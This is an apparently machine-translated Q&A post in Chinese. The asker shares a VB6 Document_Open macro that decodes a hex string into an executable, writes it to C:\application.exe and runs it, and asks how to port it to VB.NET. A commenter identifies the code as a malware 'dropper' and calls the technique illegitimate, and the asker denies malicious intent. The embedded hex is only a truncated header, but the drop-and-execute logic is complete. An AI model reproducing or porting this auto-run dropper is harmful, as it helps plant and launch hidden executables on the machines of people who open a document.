我有這個代碼在vb6可以創建一個exe文件的十六進制代碼。我想在vb.net做同樣的事情。從十六進制代碼轉換爲exe文件在vb.net
這是我的VB6代碼:
Public Sub Document_Open()
Dim str As String
Dim hex As String
hex = hex & "4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 B8 00 00 00 00 00 00 00"
hex = hex & "40 00 1A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
'you have to put the full hex code of the application here
Dim exe As String
Dim i As Long
Dim puffer As Long
i = 1
Do
str = Mid(hex, i, 2)
'convert hex to decimal
puffer = Val("&H" & str)
'convert decimal to ASCII
exe = exe & Chr(puffer)
i = i + 2
If i >= Len(hex) - 2 Then
Exit Do
End If
Loop
'write to file
Open "C:\application.exe" For Append As #2
Print #2, exe
Close #2
'and run the exe
Dim pid As Integer
pid = Shell("C:\application.exe", vbNormalFocus)
End Sub
這種惡意軟件被稱爲「滴管」。 – Bob77
它不是一個惡意軟件只是一個想法來到我我做了它在vb6並嘗試做到這一點在vb.net –
這不是一個合法的技術,並沒有任何價值。 – Bob77